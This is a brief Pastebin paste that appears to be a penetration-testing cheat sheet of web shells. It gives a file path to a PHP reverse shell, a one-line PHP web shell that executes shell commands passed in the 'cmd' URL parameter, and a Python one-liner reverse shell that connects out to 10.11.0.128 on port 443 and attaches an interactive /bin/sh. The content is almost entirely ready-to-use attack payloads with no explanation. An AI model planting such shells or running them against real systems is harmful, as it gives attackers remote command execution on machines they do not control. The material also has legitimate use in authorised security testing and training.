Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Web Shells
- PHP Reverse Shell:
- /usr/share/webshells/php/php-reverse-shell.php
- PHP Command Script (Shell-precursor):
- <?php echo shell_exec($_GET['cmd']);?>
- Python One-liner Reverse Shell:
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.0.128",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Advertisement